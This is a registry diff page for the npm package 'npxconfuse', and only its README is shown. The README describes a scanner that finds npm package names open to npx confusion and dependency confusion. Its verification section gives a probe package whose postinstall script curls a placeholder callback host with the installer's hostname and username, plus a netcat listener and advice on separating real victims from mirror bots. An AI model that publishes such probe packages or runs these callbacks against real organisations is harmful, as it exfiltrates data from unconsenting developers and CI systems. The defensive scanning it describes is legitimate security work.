npxconfuse 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +462 -0
- package/bin/cli.js +280 -0
- package/package.json +47 -0
- package/src/analyzer.js +167 -0
- package/src/extractors/js-bundle.js +147 -0
- package/src/extractors/package-json.js +162 -0
- package/src/formatters/csv.js +39 -0
- package/src/formatters/json.js +11 -0
- package/src/formatters/table.js +144 -0
- package/src/registries/npm.js +185 -0
- package/src/sources/github.js +142 -0
- package/src/sources/local.js +117 -0
- package/src/sources/web.js +182 -0
- package/src/utils/constants.js +181 -0
- package/src/utils/http.js +179 -0
- package/src/utils/logger.js +83 -0
package/README.md
ADDED
|
@@ -0,0 +1,462 @@
|
|
|
1
|
+
# npxconfuse
|
|
2
|
+
|
|
3
|
+
<p align="center">
|
|
4
|
+
<strong>npx Confusion Vulnerability Scanner</strong><br>
|
|
5
|
+
<em>Find unclaimed npm package names in your supply chain before attackers do.</em>
|
|
6
|
+
</p>
|
|
7
|
+
|
|
8
|
+
<p align="center">
|
|
9
|
+
<a href="#license"><img src="https://img.shields.io/badge/license-MIT-blue.svg" alt="License: MIT"></a>
|
|
10
|
+
<a href="https://nodejs.org/"><img src="https://img.shields.io/badge/node-%3E%3D18-brightgreen.svg" alt="Node >= 18"></a>
|
|
11
|
+
</p>
|
|
12
|
+
|
|
13
|
+
---
|
|
14
|
+
|
|
15
|
+
> **Based on the original research by Lupin & Holmes, presented at DEF CON 33.**
|
|
16
|
+
>
|
|
17
|
+
> Read the full paper: **[npx Used Confusion and It's Super Effective](https://www.landh.tech/blog/20260521-npx-used-confusion-and-its-super-effective/)**
|
|
18
|
+
>
|
|
19
|
+
> This tool automates the discovery process described in that research โ scanning local codebases, GitHub organizations, and web assets for unclaimed npm package names that are exploitable via npx confusion and dependency confusion attacks.
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## What It Detects
|
|
24
|
+
|
|
25
|
+
| # | Vulnerability | Severity | Description |
|
|
26
|
+
|---|---------------|----------|-------------|
|
|
27
|
+
| ๐ด | **npx Confusion** | `CRITICAL` | An `npx <name>` invocation in your `package.json` scripts points to a package **unclaimed** on npm. An attacker can register that name and achieve RCE on every developer and CI pipeline that runs your scripts. |
|
|
28
|
+
| ๐ด | **Bin Mismatch** | `CRITICAL` | A scoped package (`@scope/pkg`) exposes a binary with a **different, unscoped name** that is unclaimed on npm. Since npm binaries cannot contain `/`, this mismatch is inherent to scoped packages. |
|
|
29
|
+
| ๐ก | **Dependency Confusion** | `HIGH` | Private/internal package names (enterprise-scoped packages, `file:` references) are **not registered** on the public npm registry. An attacker can publish a package with the same name and hijack installs. |
|
|
30
|
+
| ๐ | **Name Clash** | `MEDIUM` | A used package name exists on the public registry but is **owned by a different entity** โ potential typo-squatting or namespace collision worth investigating. |
|
|
31
|
+
|
|
32
|
+
### The Attack in 30 Seconds
|
|
33
|
+
|
|
34
|
+
```bash
|
|
35
|
+
# Your package.json script:
|
|
36
|
+
"scripts": {
|
|
37
|
+
"dev": "npx my-internal-tool --watch" # โ name is UNCLAIMED on npm
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
# Attacker:
|
|
41
|
+
npm publish my-internal-tool # โ now every `npm run dev` runs attacker code
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
`npxconfuse` automates discovery of these unclaimed names across your entire codebase, GitHub organization, and public-facing web assets.
|
|
45
|
+
|
|
46
|
+
---
|
|
47
|
+
|
|
48
|
+
## Installation
|
|
49
|
+
|
|
50
|
+
**Requirements:** Node.js >= 18
|
|
51
|
+
|
|
52
|
+
```bash
|
|
53
|
+
# Run directly (no install needed)
|
|
54
|
+
npx npxconfuse scan ./my-project
|
|
55
|
+
|
|
56
|
+
# Global install
|
|
57
|
+
npm install -g npxconfuse
|
|
58
|
+
|
|
59
|
+
# Local install as dev dependency
|
|
60
|
+
npm install --save-dev npxconfuse
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
---
|
|
64
|
+
|
|
65
|
+
## Quick Start
|
|
66
|
+
|
|
67
|
+
```bash
|
|
68
|
+
# 1. Scan your current project
|
|
69
|
+
npxconfuse scan . # basic: package.json files
|
|
70
|
+
npxconfuse scan . --deep # thorough: also scans JS bundles
|
|
71
|
+
|
|
72
|
+
# 2. Scan with JSON output (for CI/CD pipelines)
|
|
73
|
+
npxconfuse scan . -o json
|
|
74
|
+
|
|
75
|
+
# 3. Scan and save results
|
|
76
|
+
npxconfuse scan . --save findings.json
|
|
77
|
+
|
|
78
|
+
# 4. Check a list of package names directly
|
|
79
|
+
npxconfuse check names.txt
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
---
|
|
83
|
+
|
|
84
|
+
## Usage
|
|
85
|
+
|
|
86
|
+
### `scan` โ Scan a Local Directory
|
|
87
|
+
|
|
88
|
+
```bash
|
|
89
|
+
npxconfuse scan <path> [options]
|
|
90
|
+
|
|
91
|
+
# Basic scan of a project
|
|
92
|
+
npxconfuse scan ./my-project
|
|
93
|
+
|
|
94
|
+
# Deep scan โ also parses JS bundles for imports/requires
|
|
95
|
+
npxconfuse scan ./my-project --deep
|
|
96
|
+
|
|
97
|
+
# JSON output to stdout
|
|
98
|
+
npxconfuse scan ./my-project -o json
|
|
99
|
+
|
|
100
|
+
# Save to file
|
|
101
|
+
npxconfuse scan ./my-project --save results.csv
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
**What it scans:**
|
|
105
|
+
- `package.json` โ scripts (npx invocations), bin field, dependencies
|
|
106
|
+
|
|
107
|
+
**With `--deep`:**
|
|
108
|
+
- JS bundles (`*.js`, `*.mjs`, `*.cjs`) โ parses `require()`, `import`, and embedded `package.json` blocks
|
|
109
|
+
|
|
110
|
+
**What it skips:**
|
|
111
|
+
- `node_modules/`, `.git/`, `dist/`, `build/`, `.next/`, `coverage/`
|
|
112
|
+
|
|
113
|
+
### `github` โ Scan a GitHub Organization
|
|
114
|
+
|
|
115
|
+
```bash
|
|
116
|
+
npxconfuse github <org-name> [options]
|
|
117
|
+
|
|
118
|
+
# Scan an org (requires GITHUB_TOKEN)
|
|
119
|
+
export GITHUB_TOKEN=ghp_your_token_here
|
|
120
|
+
npxconfuse github my-company
|
|
121
|
+
|
|
122
|
+
# Limit to 100 repos
|
|
123
|
+
npxconfuse github my-company --max-repos 100
|
|
124
|
+
|
|
125
|
+
# GitHub Enterprise
|
|
126
|
+
npxconfuse github my-company --github-enterprise https://github.internal.example.com
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
**Token requirements:**
|
|
130
|
+
- Create a token at [github.com/settings/tokens](https://github.com/settings/tokens)
|
|
131
|
+
- Scope: `repo` (private repos) or `public_repo` (public repos only)
|
|
132
|
+
|
|
133
|
+
### `web` โ Scan Web Domains
|
|
134
|
+
|
|
135
|
+
```bash
|
|
136
|
+
npxconfuse web <domains-file>
|
|
137
|
+
|
|
138
|
+
# domains.txt โ one domain/URL per line:
|
|
139
|
+
# example.com
|
|
140
|
+
# https://app.example.com
|
|
141
|
+
# api.example.org
|
|
142
|
+
|
|
143
|
+
npxconfuse web domains.txt
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
Probes each domain for:
|
|
147
|
+
- Exposed `/package.json`, `/package-lock.json`
|
|
148
|
+
- JavaScript bundles referenced in `<script>` tags
|
|
149
|
+
|
|
150
|
+
### `check` โ Direct Package Name Checking
|
|
151
|
+
|
|
152
|
+
```bash
|
|
153
|
+
npxconfuse check <names-file>
|
|
154
|
+
|
|
155
|
+
# names.txt โ one package name per line:
|
|
156
|
+
# my-internal-tool
|
|
157
|
+
# @company/shared-utils
|
|
158
|
+
# company-dashboard
|
|
159
|
+
|
|
160
|
+
npxconfuse check names.txt
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
---
|
|
164
|
+
|
|
165
|
+
## Output Formats
|
|
166
|
+
|
|
167
|
+
| Format | Flag | Best For |
|
|
168
|
+
|--------|------|----------|
|
|
169
|
+
| **Table** (default) | `-o table` | Interactive terminal use |
|
|
170
|
+
| **JSON** | `-o json` | CI/CD pipelines, `jq` processing |
|
|
171
|
+
| **CSV** | `-o csv` | Spreadsheets, data analysis |
|
|
172
|
+
|
|
173
|
+
### Table Output (default)
|
|
174
|
+
|
|
175
|
+
```
|
|
176
|
+
โโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโฌโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโ
|
|
177
|
+
โ Severity โ Package โ Type โ Registry โ Status โ Details โ Source โ
|
|
178
|
+
โโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโผโโโโโโโโโโโผโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโค
|
|
179
|
+
โ CRITICAL โ my-internal-tool โ npx-confusion โ npm โ โฌค UNCLAIMED โ Package name is not registered โ package.json โ
|
|
180
|
+
โ HIGH โ @company/shared โ dep-confusion โ npm โ โฌค UNCLAIMED โ Package name is not registered โ package.json โ
|
|
181
|
+
โ MEDIUM โ react โ name-clash โ npm โ โ claimed โ facebook/react โ JS bundle โ
|
|
182
|
+
โโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโดโโโโโโโโโโโดโโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโ
|
|
183
|
+
|
|
184
|
+
Found 3 issue(s): 1 critical, 1 high, 1 medium
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
### JSON Output
|
|
188
|
+
|
|
189
|
+
```json
|
|
190
|
+
{
|
|
191
|
+
"findings": [
|
|
192
|
+
{
|
|
193
|
+
"name": "my-internal-tool",
|
|
194
|
+
"type": "npx-confusion",
|
|
195
|
+
"registry": "npm",
|
|
196
|
+
"status": "unclaimed",
|
|
197
|
+
"severity": "CRITICAL",
|
|
198
|
+
"sources": ["/project/package.json"],
|
|
199
|
+
"contexts": ["scripts.dev: npx my-internal-tool"]
|
|
200
|
+
}
|
|
201
|
+
],
|
|
202
|
+
"summary": {
|
|
203
|
+
"total": 1,
|
|
204
|
+
"critical": 1,
|
|
205
|
+
"high": 0,
|
|
206
|
+
"medium": 0,
|
|
207
|
+
"low": 0,
|
|
208
|
+
"info": 0
|
|
209
|
+
}
|
|
210
|
+
}
|
|
211
|
+
```
|
|
212
|
+
|
|
213
|
+
### CSV Output
|
|
214
|
+
|
|
215
|
+
```csv
|
|
216
|
+
severity,name,type,registry,status,owner,details,sources
|
|
217
|
+
CRITICAL,my-internal-tool,npx-confusion,npm,unclaimed,,Package name is not registered,/project/package.json
|
|
218
|
+
```
|
|
219
|
+
|
|
220
|
+
---
|
|
221
|
+
|
|
222
|
+
## Options
|
|
223
|
+
|
|
224
|
+
| Option | Description | Default |
|
|
225
|
+
|--------|-------------|---------|
|
|
226
|
+
| `-o, --output <format>` | Output format: `table`, `json`, `csv` | `table` |
|
|
227
|
+
| `-c, --concurrency <n>` | Max parallel registry requests | `20` |
|
|
228
|
+
| `--timeout <ms>` | HTTP timeout (milliseconds) | `10000` |
|
|
229
|
+
| `--save <filepath>` | Save results to file (format auto-detected from extension) | โ |
|
|
230
|
+
| `-v, --verbose` | Enable debug logging | `false` |
|
|
231
|
+
|
|
232
|
+
**Scan-specific options:**
|
|
233
|
+
|
|
234
|
+
| Command | Option | Description |
|
|
235
|
+
|---------|--------|-------------|
|
|
236
|
+
| `scan` | `--deep` | Also parse JS bundles for imports/requires |
|
|
237
|
+
| `github` | `--max-repos <n>` | Maximum repos to scan | `1000` |
|
|
238
|
+
| `github` | `--github-enterprise <url>` | GitHub Enterprise base URL | โ |
|
|
239
|
+
|
|
240
|
+
---
|
|
241
|
+
|
|
242
|
+
## Exit Codes
|
|
243
|
+
|
|
244
|
+
| Code | Meaning |
|
|
245
|
+
|------|---------|
|
|
246
|
+
| `0` | No critical or high findings |
|
|
247
|
+
| `2` | Critical findings detected (useful for CI/CD `|| exit` pipelines) |
|
|
248
|
+
|
|
249
|
+
---
|
|
250
|
+
|
|
251
|
+
## Verifying Vulnerabilities: Setting Up a Callback Server
|
|
252
|
+
|
|
253
|
+
Once `npxconfuse` identifies unclaimed package names, you'll want to verify whether those names are **actually being pulled** in real environments. Simply claiming the name and publishing a package is not enough โ you need to confirm that the package is being downloaded by real CI pipelines or developers.
|
|
254
|
+
|
|
255
|
+
### Step 1: Set Up a Callback Server
|
|
256
|
+
|
|
257
|
+
Publish a harmless package under the unclaimed name that phones home to a server you control. This lets you observe exactly who is pulling the package and from where.
|
|
258
|
+
|
|
259
|
+
```bash
|
|
260
|
+
# 1. Create a directory for the probe package
|
|
261
|
+
mkdir probe-package && cd probe-package
|
|
262
|
+
npm init -y
|
|
263
|
+
|
|
264
|
+
# 2. Add a postinstall script that calls back to your server
|
|
265
|
+
# (package.json)
|
|
266
|
+
{
|
|
267
|
+
"name": "my-internal-tool",
|
|
268
|
+
"version": "1.0.0",
|
|
269
|
+
"scripts": {
|
|
270
|
+
"postinstall": "curl -s https://your-callback-server.example.com/$(hostname)/$(whoami)"
|
|
271
|
+
}
|
|
272
|
+
}
|
|
273
|
+
|
|
274
|
+
# 3. Publish to npm
|
|
275
|
+
npm publish
|
|
276
|
+
```
|
|
277
|
+
|
|
278
|
+
### Step 2: Deploy a Lightweight Callback Listener
|
|
279
|
+
|
|
280
|
+
You can use a simple HTTP server, a webhook receiver, or services like:
|
|
281
|
+
|
|
282
|
+
- **[Pipedream](https://pipedream.com/)** โ Free tier, instant HTTP endpoints with logging
|
|
283
|
+
- **[Webhook.site](https://webhook.site/)** โ Instant disposable endpoints, no setup needed
|
|
284
|
+
- **[ngrok](https://ngrok.com/)** โ Expose a local server to the internet
|
|
285
|
+
- **Your own VPS** with a simple `nc -l` or Python HTTP server
|
|
286
|
+
|
|
287
|
+
Example with a one-liner netcat listener:
|
|
288
|
+
|
|
289
|
+
```bash
|
|
290
|
+
# On your VPS:
|
|
291
|
+
while true; do echo "=== $(date) ===" | nc -l -p 443 -q 1; done
|
|
292
|
+
```
|
|
293
|
+
|
|
294
|
+
### Step 3: Monitor and Filter
|
|
295
|
+
|
|
296
|
+
Watch your callback logs for incoming requests. Each hit represents a machine that ran `npx my-internal-tool` or installed the package.
|
|
297
|
+
|
|
298
|
+
---
|
|
299
|
+
|
|
300
|
+
## โ ๏ธ Important: Distinguishing Real Pulls from Bots
|
|
301
|
+
|
|
302
|
+
When you publish a package to npm, you will see **immediate download activity**. Most of this is **not** from real targets โ it comes from automated systems that mirror or analyze every new npm package.
|
|
303
|
+
|
|
304
|
+
### Common False Positive Sources
|
|
305
|
+
|
|
306
|
+
| Source | What It Is | Action |
|
|
307
|
+
|--------|------------|--------|
|
|
308
|
+
| **npm CDN / mirror bots** | Replication bots from jsDelivr, unpkg, etc. that cache every package | Ignore โ these are not your targets |
|
|
309
|
+
| **Security scanners** | Automated tools (Snyk, Socket.dev, etc.) that analyze every new publish | Ignore โ they are not real installs |
|
|
310
|
+
| **Replication services** | Third-party registries that mirror npm (e.g. npmmirror.com in China) | Ignore โ these are mirrors, not targets |
|
|
311
|
+
| **npm's own download count** | The download counter on npmjs.com includes all mirror/cache traffic | **Do not trust download counts as proof** |
|
|
312
|
+
|
|
313
|
+
### How to Identify Real Pulls
|
|
314
|
+
|
|
315
|
+
Real pulls come from **actual CI environments and developer machines**. Look for these signals in your callback data:
|
|
316
|
+
|
|
317
|
+
| Signal | Indicates |
|
|
318
|
+
|--------|-----------|
|
|
319
|
+
| ๐ข **CI hostnames** (e.g. `github-runner-*, `circleci-*`, `jenkins-*`, `gitlab-runner-*`) | CI pipelines pulling the package |
|
|
320
|
+
| ๐ข **Corporate hostnames** (matches the organization you're testing) | Internal developer machines |
|
|
321
|
+
| ๐ข **Timing alignment** โ hits coincide with code pushes or scheduled builds | Genuine CI activity |
|
|
322
|
+
| ๐ข **Developer usernames** in the callback path (from `whoami`) | Real developer workstations |
|
|
323
|
+
| ๐ข **Non-standard user agents** or IPs from corporate ranges | Authentic internal traffic |
|
|
324
|
+
| ๐ด **Immediate hits from IPs owned by Cloudflare/Fastly/CDN providers** | Likely mirror bots |
|
|
325
|
+
| ๐ด **Hits at the exact same second as publish** | Bots polling the registry feed |
|
|
326
|
+
|
|
327
|
+
### Recommended Approach
|
|
328
|
+
|
|
329
|
+
1. Publish your probe package
|
|
330
|
+
2. **Ignore the first 24โ48 hours of activity** โ this is predominantly bots and mirrors
|
|
331
|
+
3. After the initial noise settles, look for patterns that match the target organization's:
|
|
332
|
+
- IP ranges
|
|
333
|
+
- Hostname conventions
|
|
334
|
+
- CI provider
|
|
335
|
+
- Working hours / timezone
|
|
336
|
+
4. Only consider hits that correlate with known development activity (commits to repos, CI build triggers)
|
|
337
|
+
|
|
338
|
+
---
|
|
339
|
+
|
|
340
|
+
## How It Works
|
|
341
|
+
|
|
342
|
+
```
|
|
343
|
+
โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโ
|
|
344
|
+
โ 1. DISCOVERY โ โโโถ โ 2. EXTRACTION โ โโโถ โ 3. ANALYSIS โ
|
|
345
|
+
โ โ โ โ โ โ
|
|
346
|
+
โ โข Local FS โ โ โข npx scripts โ โ โข npm registry โ
|
|
347
|
+
โ โข GitHub API โ โ โข bin fields โ โ โข Severity score โ
|
|
348
|
+
โ โข Web scrape โ โ โข JS imports โ โ โข Owner lookup โ
|
|
349
|
+
โ โข Direct check โ โ โข dependencies โ โ โข Download stats โ
|
|
350
|
+
โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโ
|
|
351
|
+
โ
|
|
352
|
+
โผ
|
|
353
|
+
โโโโโโโโโโโโโโโโโโโโ
|
|
354
|
+
โ 4. REPORTING โ
|
|
355
|
+
โ โ
|
|
356
|
+
โ โข Table / JSON โ
|
|
357
|
+
โ โข CSV output โ
|
|
358
|
+
โ โข File export โ
|
|
359
|
+
โโโโโโโโโโโโโโโโโโโโ
|
|
360
|
+
```
|
|
361
|
+
|
|
362
|
+
### Detection Logic
|
|
363
|
+
|
|
364
|
+
1. **Discovery** โ Finds `package.json` files and JS bundles via filesystem glob, GitHub API, or HTTP probes
|
|
365
|
+
2. **Extraction** โ Parses each file with dedicated extractors:
|
|
366
|
+
- `package.json`: `npx` in scripts, `bin` field, scoped dependencies with `file:`/`workspace:` references
|
|
367
|
+
- `JS bundles`: embedded `package.json` blocks, `require()` calls, `import` statements
|
|
368
|
+
3. **Analysis** โ Deduplicates names across sources and queries the npm registry in parallel, classifying each name as **unclaimed**, **claimed**, **private**, or **error**
|
|
369
|
+
4. **Reporting** โ Formats results in the chosen output format with severity coloring
|
|
370
|
+
|
|
371
|
+
### Severity Classification
|
|
372
|
+
|
|
373
|
+
| Finding Type | Registry Status | Severity |
|
|
374
|
+
|--------------|-----------------|----------|
|
|
375
|
+
| `npx-confusion` | `unclaimed` | ๐ด `CRITICAL` |
|
|
376
|
+
| `bin-mismatch` | `unclaimed` | ๐ด `CRITICAL` |
|
|
377
|
+
| `dependency-confusion` | `unclaimed` | ๐ก `HIGH` |
|
|
378
|
+
| Any | `claimed` | ๐ `MEDIUM` |
|
|
379
|
+
| Any | `private` | โช `INFO` |
|
|
380
|
+
|
|
381
|
+
---
|
|
382
|
+
|
|
383
|
+
## Real-World Scenarios
|
|
384
|
+
|
|
385
|
+
### Scenario 1: You run `npx` in your npm scripts
|
|
386
|
+
|
|
387
|
+
```json
|
|
388
|
+
// package.json
|
|
389
|
+
{
|
|
390
|
+
"scripts": {
|
|
391
|
+
"build": "npx my-build-tool --prod",
|
|
392
|
+
"lint": "npx @scope/custom-linter"
|
|
393
|
+
}
|
|
394
|
+
}
|
|
395
|
+
```
|
|
396
|
+
|
|
397
|
+
`npxconfuse` detects both `my-build-tool` and the unscoped binary name of `@scope/custom-linter` if they're unclaimed on npm.
|
|
398
|
+
|
|
399
|
+
### Scenario 2: You use private/internal packages
|
|
400
|
+
|
|
401
|
+
```json
|
|
402
|
+
// package.json
|
|
403
|
+
{
|
|
404
|
+
"dependencies": {
|
|
405
|
+
"@mycorp/internal-auth": "file:../packages/auth"
|
|
406
|
+
}
|
|
407
|
+
}
|
|
408
|
+
```
|
|
409
|
+
|
|
410
|
+
If `@mycorp/internal-auth` is not registered on the public npm registry, an attacker can publish a malicious package with the same name.
|
|
411
|
+
|
|
412
|
+
### Scenario 3: Your web app exposes its `package.json`
|
|
413
|
+
|
|
414
|
+
If `https://app.example.com/package.json` returns your production manifest, an attacker can extract your internal package names. `npxconfuse web` helps you find this exposure first.
|
|
415
|
+
|
|
416
|
+
---
|
|
417
|
+
|
|
418
|
+
## Research Background
|
|
419
|
+
|
|
420
|
+
This tool operationalizes the vulnerability class described by **Lupin & Holmes** in their DEF CON 33 research:
|
|
421
|
+
|
|
422
|
+
- **[npx Used Confusion and It's Super Effective](https://www.landh.tech/blog/20260521-npx-used-confusion-and-its-super-effective/)** โ The original paper
|
|
423
|
+
|
|
424
|
+
**Key concepts from the research:**
|
|
425
|
+
|
|
426
|
+
- **npx resolution flow:** When `npx <binary>` cannot find a binary in `./node_modules/.bin/`, it falls back to fetching from the public npm registry. If that name is unclaimed, an attacker can register it.
|
|
427
|
+
- **Scoped package mismatch:** npm binaries cannot contain `/`, so `@scope/pkg` must expose an unscoped binary name โ creating a natural mismatch exploitable for package takeover.
|
|
428
|
+
- **Dependency confusion:** If a private package name is not reserved on public registries, an attacker can publish a package with the same name and hijack the resolution chain.
|
|
429
|
+
- **Defense:** Register placeholder packages for all internal names, use `--yes`/`--no` flags with npx, configure scope-to-registry mappings via `.npmrc`, and audit your `package.json` scripts for unregistered npx targets.
|
|
430
|
+
|
|
431
|
+
---
|
|
432
|
+
|
|
433
|
+
## Contributing
|
|
434
|
+
|
|
435
|
+
Contributions are welcome! Areas that particularly need help:
|
|
436
|
+
|
|
437
|
+
- ๐งช **Tests** โ unit and integration tests
|
|
438
|
+
- ๐ฆ **Additional registries** โ RubyGems, NuGet, Maven, Docker Hub support
|
|
439
|
+
- ๐ฅ๏ธ **Windows** โ PowerShell script support and testing
|
|
440
|
+
- ๐ **SARIF output** โ GitHub Code Scanning integration
|
|
441
|
+
- ๐ **Deeper JS parsing** โ AST-based extraction for more accurate import detection
|
|
442
|
+
|
|
443
|
+
### Development Setup
|
|
444
|
+
|
|
445
|
+
```bash
|
|
446
|
+
git clone <repo-url>
|
|
447
|
+
cd npxconfuse
|
|
448
|
+
npm install
|
|
449
|
+
npm start scan ./test-project # Test a local scan
|
|
450
|
+
```
|
|
451
|
+
|
|
452
|
+
---
|
|
453
|
+
|
|
454
|
+
## License
|
|
455
|
+
|
|
456
|
+
MIT โ see [LICENSE](LICENSE) file.
|
|
457
|
+
|
|
458
|
+
---
|
|
459
|
+
|
|
460
|
+
## Security
|
|
461
|
+
|
|
462
|
+
If you discover a vulnerability in `npxconfuse` itself, please open an issue or submit a PR responsibly. Do not publish the vulnerability publicly before a fix is available.
|